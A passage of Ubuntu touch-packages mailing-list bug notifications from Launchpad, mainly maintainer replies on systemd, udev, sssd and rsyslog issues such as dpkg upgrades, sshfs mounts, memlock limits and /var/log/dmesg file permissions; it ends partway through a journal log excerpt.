  https://github.com/SSSD/sssd/blob/sssd-2_2_3/src/util/sss_log.c#L110

   * Applying a change to SYSLOG_IDENTIFIER (prefixing with "sssd[" and 
suffixing with "]") results in "SYSLOG_IDENTIFIER=sssd_be" being logged, and no 
SYSLOG_PID being reported.
 Cherry-picked upstream commit for testing: 
https://github.com/SSSD/sssd/commit/18233532b72e62452eac6886652fa633ba055d8c

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sssd/+bug/1908065/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912382] Re: package udev 229-4ubuntu21.29 failed to install/upgrade: pre-dependency problem - not installing udev

[Dan Streetman]

You appear to have not upgraded 'dpkg':

dpkg: regarding .../udev_229-4ubuntu21.29_amd64.deb containing udev, 
pre-dependency problem:
 udev pre-depends on dpkg (>= 1.17.14)
  dpkg is installed, but is version 1.17.5ubuntu5.8+esm1.

The latest version in Xenial is 1.18.4ubuntu1.6.

Please upgrade dpkg and you'll then be able to upgrade udev.

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912382

Title:
  package udev 229-4ubuntu21.29 failed to install/upgrade: pre-
  dependency problem - not installing udev

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  Report tool shown during the booting procedure after an 'apt -f
  install' command following an upgrade from 14.04 to 16.04.7 version.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: udev 229-4ubuntu21.29
  ProcVersionSignature: Ubuntu 4.4.0-200.232-generic 4.4.244
  Uname: Linux 4.4.0-200-generic x86_64
  NonfreeKernelModules: nvidia
  ApportVersion: 2.20.1-0ubuntu2.28
  Architecture: amd64
  CustomUdevRuleFiles: 70-snap.core.rules
  Date: Tue Jan 19 11:48:12 2021
  ErrorMessage: pre-dependency problem - not installing udev
  InstallationDate: Installed on 2012-09-05 (3057 days ago)
  InstallationMedia: Ubuntu  "Precise" - Build amd64 LIVE Binary 20120426-22:45
  Lsusb:
   Bus 002 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub
   Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
   Bus 001 Device 003: ID 1210:25f4 DigiTech 
   Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: SAMSUNG ELECTRONICS CO., LTD. R530/R730/P530
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-200-generic 
root=UUID=9098a99b-1b42-481d-902d-0c15af51e621 ro quiet splash
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.6
   apt  1.2.32ubuntu0.2
  SourcePackage: systemd
  Title: package udev 229-4ubuntu21.29 failed to install/upgrade: 
pre-dependency problem - not installing udev
  UpgradeStatus: Upgraded to xenial on 2021-01-19 (0 days ago)
  dmi.bios.date: 06/21/2010
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: 04KQ.M007.20100621.KSJ
  dmi.board.asset.tag: Tag 12345
  dmi.board.name: R530/R730/P530
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: Not Applicable
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvr04KQ.M007.20100621.KSJ:bd06/21/2010:svnSAMSUNGELECTRONICSCO.,LTD.:pnR530/R730/P530:pvrNotApplicable:rvnSAMSUNGELECTRONICSCO.,LTD.:rnR530/R730/P530:rvrNotApplicable:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvrN/A:
  dmi.product.name: R530/R730/P530
  dmi.product.version: Not Applicable
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1912382/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912330] Re: ubuntu server not a good energy star citizen? really?

[Dan Streetman]

This doesn't appear to be a bug; if you are having trouble figuring out
how to use Ubuntu, it would be better to go ask for help at
https://askubuntu.com/

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912330

Title:
  ubuntu server not a good energy star citizen?  really?

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  Something like

  setterm -powersave=powerdown -powerdown=15 -store

  ought to do it, probably right whenever/wherever a VT is activated.

  tho when i try that command i get

  setterm: cannot (un)set powersave mode: Inappropriate ioctl for device

  is that the problem, something lacking in a device driver or whatever?

  or does the HP EliteDesk Pro 800 G1 SFF actually lack dpms energy star
  features?  seems dubious that it would.

  or is it just a case of finger pointing?  ubuntu saying systemd should
  do it, systemd saying getty should do it?

  whatever, i shouldn't walk up to a server terminal that's had nobody
  there for hours and hours and see it's display still burning away,
  right?

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.4
  ProcVersionSignature: Ubuntu 5.4.0-62.70-generic 5.4.78
  Uname: Linux 5.4.0-62-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.14
  Architecture: amd64
  CasperMD5CheckResult: pass
  Date: Tue Jan 19 05:13:35 2021
  InstallationDate: Installed on 2020-12-28 (21 days ago)
  InstallationMedia: Ubuntu-Server 20.04.1 LTS "Focal Fossa" - Release amd64 
(20200731)
  MachineType: Hewlett-Packard HP EliteDesk 800 G1 SFF
  ProcEnviron:
   TERM=screen
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/fs/boot/vmlinuz ro 
root=UUID=a671d866-a05f-4b83-8714-0b448b1eeac4 subroot=/fs 
init=/fs/etc/g/subroot
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/15/2014
  dmi.bios.vendor: Hewlett-Packard
  dmi.bios.version: L01 v02.33
  dmi.board.name: 1998
  dmi.board.vendor: Hewlett-Packard
  dmi.chassis.type: 4
  dmi.chassis.vendor: Hewlett-Packard
  dmi.modalias: 
dmi:bvnHewlett-Packard:bvrL01v02.33:bd07/15/2014:svnHewlett-Packard:pnHPEliteDesk800G1SFF:pvr:rvnHewlett-Packard:rn1998:rvr:cvnHewlett-Packard:ct4:cvr:
  dmi.product.family: 103C_53307F G=D
  dmi.product.name: HP EliteDesk 800 G1 SFF
  dmi.product.sku: J6D79UT#ABA
  dmi.sys.vendor: Hewlett-Packard

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1912330/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902891] Re: "Too many levels of symbolic links” error when using systemd to mount sshfs

[Dan Streetman]

@sampie thanks, I marked that as the upstream bug for this.

For the upstream PR that fixes this:
https://github.com/systemd/systemd/pull/17631

If I'm reading that correctly, that won't actually fix this (the mount
will still fail), and it won't add any log messages indicating the
actual underlying problem (missing known_hosts ssh key), it will just
avoid the repeated mount attempts, right?

I haven't tested the fix myself, just trying to understand if it's
"enough" to backport, or if more is needed, either to backport and/or
fix upstream. It seems like "fully" fixing this (i.e. adding the remote
host key to known_hosts) isn't really something that should be done
automatically, since the whole point of asking the user to confirm the
host key is because the system can't know if the host key is correct, or
a MITM attack. Probably the "best" that could be done, besides existing
upstream patch, is to log a message indicating that sshfs failed and
possibly include some sshfs detail so users understand what the actual
problem is?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902891

Title:
  "Too many levels of symbolic links” error when using systemd to mount
  sshfs

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  I have asked question at askubuntu about "Too many levels of symbolic
  links” error when trying to use systemd to mount sshfs
  (https://askubuntu.com/questions/1286375/too-many-levels-of-symbolic-
  links-error-when-using-systemd)

  I have not got any responses, so I am submitting a bug report. If this
  is not a bug, please advice how to mount sshfs share with systemd.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.2
  ProcVersionSignature: Ubuntu 5.4.0-52.57-generic 5.4.65
  Uname: Linux 5.4.0-52-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu27.10
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Nov  4 16:17:04 2020
  InstallationDate: Installed on 2019-11-03 (367 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  MachineType: LENOVO 81H1
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-52-generic 
root=UUID=7f92666a-65f8-485e-b998-046c2c596aa5 ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SourcePackage: systemd
  UpgradeStatus: Upgraded to focal on 2020-03-28 (220 days ago)
  dmi.bios.date: 08/17/2018
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 8PCN45WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: LNVNB161216
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0J40700 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo ideapad 530S-14ARR
  dmi.modalias: 
dmi:bvnLENOVO:bvr8PCN45WW:bd08/17/2018:svnLENOVO:pn81H1:pvrLenovoideapad530S-14ARR:rvnLENOVO:rnLNVNB161216:rvrSDK0J40700WIN:cvnLENOVO:ct10:cvrLenovoideapad530S-14ARR:
  dmi.product.family: ideapad 530S-14ARR
  dmi.product.name: 81H1
  dmi.product.sku: LENOVO_MT_81H1_BU_idea_FM_ideapad 530S-14ARR
  dmi.product.version: Lenovo ideapad 530S-14ARR
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1902891/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902891] Re: "Too many levels of symbolic links” error when using systemd to mount sshfs

[Dan Streetman]

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/17545
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902891

Title:
  "Too many levels of symbolic links” error when using systemd to mount
  sshfs

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  I have asked question at askubuntu about "Too many levels of symbolic
  links” error when trying to use systemd to mount sshfs
  (https://askubuntu.com/questions/1286375/too-many-levels-of-symbolic-
  links-error-when-using-systemd)

  I have not got any responses, so I am submitting a bug report. If this
  is not a bug, please advice how to mount sshfs share with systemd.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.2
  ProcVersionSignature: Ubuntu 5.4.0-52.57-generic 5.4.65
  Uname: Linux 5.4.0-52-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu27.10
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Nov  4 16:17:04 2020
  InstallationDate: Installed on 2019-11-03 (367 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  MachineType: LENOVO 81H1
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-52-generic 
root=UUID=7f92666a-65f8-485e-b998-046c2c596aa5 ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SourcePackage: systemd
  UpgradeStatus: Upgraded to focal on 2020-03-28 (220 days ago)
  dmi.bios.date: 08/17/2018
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 8PCN45WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: LNVNB161216
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0J40700 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo ideapad 530S-14ARR
  dmi.modalias: 
dmi:bvnLENOVO:bvr8PCN45WW:bd08/17/2018:svnLENOVO:pn81H1:pvrLenovoideapad530S-14ARR:rvnLENOVO:rnLNVNB161216:rvrSDK0J40700WIN:cvnLENOVO:ct10:cvrLenovoideapad530S-14ARR:
  dmi.product.family: ideapad 530S-14ARR
  dmi.product.name: 81H1
  dmi.product.sku: LENOVO_MT_81H1_BU_idea_FM_ideapad 530S-14ARR
  dmi.product.version: Lenovo ideapad 530S-14ARR
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1902891/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912122] Re: /var/log/dmesg is 0644, should be 0640 to match new DMESG_RESTRICT restrictions

[Dan Streetman]

Thanks @mruffell!

uploaded to g/h, with trivial modification of changing the g version
bump; for stable releases, ubuntuN should change to ubuntuN.1 instead of
ubuntuN+1.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1912122

Title:
  /var/log/dmesg is 0644, should be 0640 to match new DMESG_RESTRICT
  restrictions

Status in rsyslog package in Ubuntu:
  In Progress
Status in rsyslog source package in Groovy:
  In Progress
Status in rsyslog source package in Hirsute:
  In Progress

Bug description:
  [Impact]

  In bug 1886112, CONFIG_SECURITY_DMESG_RESTRICT was enabled on the
  Ubuntu kernel starting with Groovy and onward, in an effort to
  restrict access to the kernel log buffer from unprivileged users.

  It seems we have overlooked /var/log/dmesg, as it is still mode 0644,
  while /var/log/kern.log, /var/log/syslog are all 0640:

  $ ll /var/log
  -rw-r--r--   1 root  adm 81768 Jan 18 09:09 dmesg
  -rw-r-   1 syslogadm 24538 Jan 18 13:05 
kern.log
  -rw-r-   1 syslogadm213911 Jan 18 13:22 syslog

  Change /var/log/dmesg to 0640 to close the information leak.

  [Testcase]

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ cat /var/log/kern.log
  cat: /var/log/kern.log: Permission denied
  $ cat /var/log/syslog
  cat: /var/log/syslog: Permission denied
  $ cat /var/log/dmesg
  [0.00] kernel: Linux version 5.8.0-36-generic 
(buildd@lgw01-amd64-011) (gcc (Ubuntu 10.2.1-2ubuntu3) 10.2.1 20201221, GNU ld 
(GNU Binutils for Ubuntu) 2.35.50.20210106) #40+21.04.1-Ubuntu SMP Thu Jan 7 
11:35:09 UTC 2021 (Ubuntu 5.8.0-36.40+21.04.1-generic 5.8.18)
  [0.00] kernel: Command line: BOOT_IMAGE=/casper/vmlinuz 
file=/cdrom/preseed/ubuntu.seed maybe-ubiquity quiet splash ---

  If you install the package in the following ppa:

  https://launchpad.net/~mruffell/+archive/ubuntu/lp1912122-test

  $ sudo systemctl daemon-reload
  $ sudo systemctl start dmesg.service

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ cat /var/log/kern.log
  cat: /var/log/kern.log: Permission denied
  $ cat /var/log/syslog
  cat: /var/log/syslog: Permission denied
  $ cat /var/log/dmesg
  cat: /var/log/dmesg: Permission denied

  [Where problems could occur]

  Some users or log scraper programs might need to view the kernel log
  buffers, and in this case, their underlying service accounts should be
  added to the 'adm' group.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/rsyslog/+bug/1912122/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1830746] Re: memlock setting in systemd (pid 1) too low for containers (bionic)

[Dan Streetman]

Oh and also openvswitch, bug 1906280

To summarize, here are all the applications (found so far) that thought
they needed to lock all their current and future memory:

slick-greeter (bug 1902879)
lightdm-gtk-greeter (bug 1890394)
corosync (bug 1911904)
openvswitch (bug 1906280)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1830746

Title:
  memlock setting in systemd (pid 1) too low for containers (bionic)

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Cosmic:
  Won't Fix
Status in systemd source package in Disco:
  Won't Fix
Status in systemd source package in Eoan:
  Fix Released
Status in systemd source package in Focal:
  Fix Released

Bug description:
  [Impact]
  * Since systemd commit fb3ae275cb ("main: bump RLIMIT_NOFILE for the root 
user substantially") [https://github.com/systemd/systemd/commit/fb3ae275cb], 
which is present in Bionic, the memlock ulimit value was bumped to 16M. It's an 
adjustable limit, but the default (in previous Ubuntu releases/systemd 
versions) was really small.
  * Although bumping this value was a good thing, 16M is not enough and we can 
see failures on mlock'ed allocations on Bionic, like the one hereby reported by 
Kees or the recent introduced cryptsetup build failures (due to PPA builder 
updates to Bionic) - see https://bugs.launchpad.net/bugs//1891473.

  * It's especially harmful in containers to have such "small" limit, so
  we are hereby SRUing a more recent bump from upstream systemd, in the
  form of commit 91cfdd8d29 ("core: bump mlock ulimit to 64Mb")
  [https://github.com/systemd/systemd/commit/91cfdd8d29]. Latest Ubuntu
  releases, like Focal and subsequent ones, already include this patch
  so effectively we're putting Bionic on-par with newer releases.

  * A discussion about this topic (leading to this SRU) is present in
  ubuntu-devel ML: https://lists.ubuntu.com/archives/ubuntu-
  devel/2020-September/041159.html.

  [Test Case]
  * The straightforward test is to just look "ulimit -l" and "ulimit -Hl" in a 
current Bionic system, and then install an updated version with the hereby 
proposed SRU to see such limit bump from 16M to 64M (after a reboot) - a 
version containing this fix is available at my PPA as of 2020-09-10 [0] (likely 
to be deleted in next month or so).

  * A more interesting test is to run a Focal container in a current
  Bionic system and try to build the cryptsetup package - it'll fail in
  some tests. After updating the host (Bionic) systemd to include the
  mlock bump patch, the build succeeds in the Focal container.

  [Regression Potential]
  * Since it's a simple bump and it makes Bionic behave like Focal, I don't 
foresee regressions. One potential issue would be if some users rely on the 
lower default limit (16M) and this value is bumped by a package update, but 
that could be circumvented by setting a lower limit in limits.conf. The 
benefits for such bump are likely much bigger than any "regression" caused for 
users relying on such default limit.

  
  [0] https://launchpad.net/~gpiccoli/+archive/ubuntu/test1830746

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1830746/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1830746] Re: memlock setting in systemd (pid 1) too low for containers (bionic)

[Dan Streetman]

found another 'special' application that thinks it needs all its memory
locked: corosync.

opened bug 1911904

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1830746

Title:
  memlock setting in systemd (pid 1) too low for containers (bionic)

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Cosmic:
  Won't Fix
Status in systemd source package in Disco:
  Won't Fix
Status in systemd source package in Eoan:
  Fix Released
Status in systemd source package in Focal:
  Fix Released

Bug description:
  [Impact]
  * Since systemd commit fb3ae275cb ("main: bump RLIMIT_NOFILE for the root 
user substantially") [https://github.com/systemd/systemd/commit/fb3ae275cb], 
which is present in Bionic, the memlock ulimit value was bumped to 16M. It's an 
adjustable limit, but the default (in previous Ubuntu releases/systemd 
versions) was really small.
  * Although bumping this value was a good thing, 16M is not enough and we can 
see failures on mlock'ed allocations on Bionic, like the one hereby reported by 
Kees or the recent introduced cryptsetup build failures (due to PPA builder 
updates to Bionic) - see https://bugs.launchpad.net/bugs//1891473.

  * It's especially harmful in containers to have such "small" limit, so
  we are hereby SRUing a more recent bump from upstream systemd, in the
  form of commit 91cfdd8d29 ("core: bump mlock ulimit to 64Mb")
  [https://github.com/systemd/systemd/commit/91cfdd8d29]. Latest Ubuntu
  releases, like Focal and subsequent ones, already include this patch
  so effectively we're putting Bionic on-par with newer releases.

  * A discussion about this topic (leading to this SRU) is present in
  ubuntu-devel ML: https://lists.ubuntu.com/archives/ubuntu-
  devel/2020-September/041159.html.

  [Test Case]
  * The straightforward test is to just look "ulimit -l" and "ulimit -Hl" in a 
current Bionic system, and then install an updated version with the hereby 
proposed SRU to see such limit bump from 16M to 64M (after a reboot) - a 
version containing this fix is available at my PPA as of 2020-09-10 [0] (likely 
to be deleted in next month or so).

  * A more interesting test is to run a Focal container in a current
  Bionic system and try to build the cryptsetup package - it'll fail in
  some tests. After updating the host (Bionic) systemd to include the
  mlock bump patch, the build succeeds in the Focal container.

  [Regression Potential]
  * Since it's a simple bump and it makes Bionic behave like Focal, I don't 
foresee regressions. One potential issue would be if some users rely on the 
lower default limit (16M) and this value is bumped by a package update, but 
that could be circumvented by setting a lower limit in limits.conf. The 
benefits for such bump are likely much bigger than any "regression" caused for 
users relying on such default limit.

  
  [0] https://launchpad.net/~gpiccoli/+archive/ubuntu/test1830746

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1830746/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1905044] Re: systemd 245.4-4ubuntu3.3 ADT test failure with linux-hwe-5.8

[Dan Streetman]

The test-cap-list test no longer fails when running the autopkgtest suite with 
5.8 kernel:
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20210114_030125_af0b9@/log.gz

that verifies for focal. As mentioned in the description [scope], the
test case fix was backported there to prevent build failures if the lp
build farm ever updates to the 5.8 kernel, but since that situation
isn't trivial to reproduce (and since this is a testcase only fix and is
verified above in focal), i'm using the focal verification to assume
verification of bionic as well. Groovy similarly is hard to verify since
this would require systemd in g to be *built* with older kernel headers
but then tested with newer running kernel, so I'm assuming focal
verification covers groovy as well.

** Tags removed: verification-needed verification-needed-bionic 
verification-needed-focal verification-needed-groovy
** Tags added: verification-done verification-done-bionic 
verification-done-focal verification-done-groovy

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905044

Title:
  systemd 245.4-4ubuntu3.3 ADT test failure with linux-hwe-5.8

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Committed
Status in systemd source package in Focal:
  Fix Committed
Status in systemd source package in Groovy:
  Fix Committed
Status in systemd source package in Hirsute:
  Fix Released

Bug description:
  [impact]

  autopkgtest failure when running with 5.8 kernel, if systemd is built
  with earlier kernel (e.g. 5.4)

  [test case]

  see autopkgtest results, e.g. links in original description below

  [regression potential]

  as this only fixes a test case, any regression would likely result in
  an incorrectly passing, or incorrectly failing, test.

  [scope]

  this is needed for b/f/g/h.

  this bug was introduced by upstream commit 23cc81e7c22 which first
  added testing for 'invalid' cap numbers, but incorrectly using
  capability_list_length() instead of cap_last_cap(). That commit was
  first included in v236, so this bug does not exist before Bionic.

  this is fixed upstream by commit
  ebc815cd1c647faa934a446ceea91ff4bc9dffa4, which was first included in
  v247, so this is needed for h and earlier.

  Also note that even though the 5.8 kernel is not planned to be
  released for Bionic, this test also runs at build time, and since the
  LP build farm builds inside chroots, if the build farm ever moved up
  to Focal with a 5.8 kernel, the build of systemd for Bionic would
  start failing (since it would still be building using the older kernel
  headers, inside the chroot), so this does need to be fixed in Bionic
  systemd as well.

  [other info]

  there is a non-test bug related to this in bug 1905245

  [original description]

  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20201117_174614_4ece6@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20201117_221555_48b91@/log.gz
  ppc64el: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/ppc64el/s/systemd/20201117_175806_e779f@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/s390x/s/systemd/20201117_153051_90e7e@/log.gz

  The failing testcases are:

  - root-unittests

  Assertion 'capability_set_to_string_alloc(c, ) == 0' failed at 
src/test/test-cap-list.c:60, funct
  ion test_capability_set_one(). Aborting.
  FAIL: test-cap-list (code: 134)

  - upstream

  TEST-24-UNIT-TESTS:

  --- test-cap-list begin ---
  Assertion 'capability_set_to_string_alloc(c, ) == 0' failed at 
src/test/test-cap-list.c:60, funct
  ion test_capability_set_one(). Aborting.
  --- test-cap-list end ---

  Both seem to be failing with the same assertion.

  These tests are successful on Focal with linux 5.4, therefore they
  would regress when upgrading the kernel from 5.4 to 5.8.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1905044/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1890186] Re: Failed to call EVIOCSKEYCODE with scan code 0xc022d, and key code 103: Invalid argument

[Dan Streetman]

Ok here's my understanding of this:

Most keyboards report a single usb device 'interface' for the keyboard
(some have separate interface(s) for builtin mice or other non-keyboard
stuff). However, your keyboard reports two separate 'interfaces' for
your single keyboard. Unfortunately, both of the interfaces it reports
use the exact same vendor and product id, so there's no way for systemd
to tell which is which, from the bus/vendor/product info.

The setting in the hwdb matches specifically on this bus/vendor/product id info 
(the b0003v045Ep00DB string):
evdev:input:b0003v045Ep00DB*


  

This applies the scancode remapping to *both* of the interfaces that
your keyboard reports. However, only one of the interfaces actually
supports the remapped scancodes, so when systemd attempts to tell the
kernel to map the specific scancode to the assigned keycode, the kernel
rejects it, which results in the warning messages you saw in the logs.

However these warning log messages are only produced for the second
interface which doesn't actually support or provide the scancodes in
question. So, this logged warning is completely harmless and you can
ignore it.

It's possible that we might be able to figure out how to finesse systemd
hwdb config to get around the fact that your hardware keyboard is
essentially broken (because it reports two separate interfaces with
identical vendor/product ids but with different operation and behavior).
However since these logged errors are completely harmless, and any 'fix'
could possibly (accidentally) cause the mapped keys to *not* function, I
don't think it's worth it to bother fixing this.

Therefore I'm going to close this as wontfix, since I believe this is a
hardware problem that does not have any actual impact on the system's
operation, besides logging a harmless warning message.


** Changed in: linux (Ubuntu)
   Status: Confirmed => Invalid

** Changed in: systemd (Ubuntu)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1890186

Title:
  Failed to call EVIOCSKEYCODE with scan code 0xc022d, and key code 103:
  Invalid argument

Status in linux package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Won't Fix

Bug description:
  I run an up-to-date Ubuntu 20.04.1 LTS "focal" with kernel
  5.4.0-42-generic on Dell Latitude E6440.  Upon examining the output of
  journalctl -b, I see this:

  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Show Plymouth Boot Screen being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Forward Password Requests to Plymouth Directory Watch being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Set Up Additional Binary Formats being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
File System Check on Root Device being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Rebuild Hardware Database being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Platform Persistent Storage Archival being skipped.
  Aug 03 19:22:15 pseudonymizedHostname kernel: [drm] radeon: dpm initialized
  Aug 03 19:22:15 pseudonymizedHostname kernel: [drm] GART: num cpu pages 
524288, num gpu pages 524288
  Aug 03 19:22:15 pseudonymizedHostname kernel: dell_laptop: Using dell-rbtn 
acpi driver for receiving events
  Aug 03 19:22:15 pseudonymizedHostname systemd-udevd[385]: event8: Failed to 
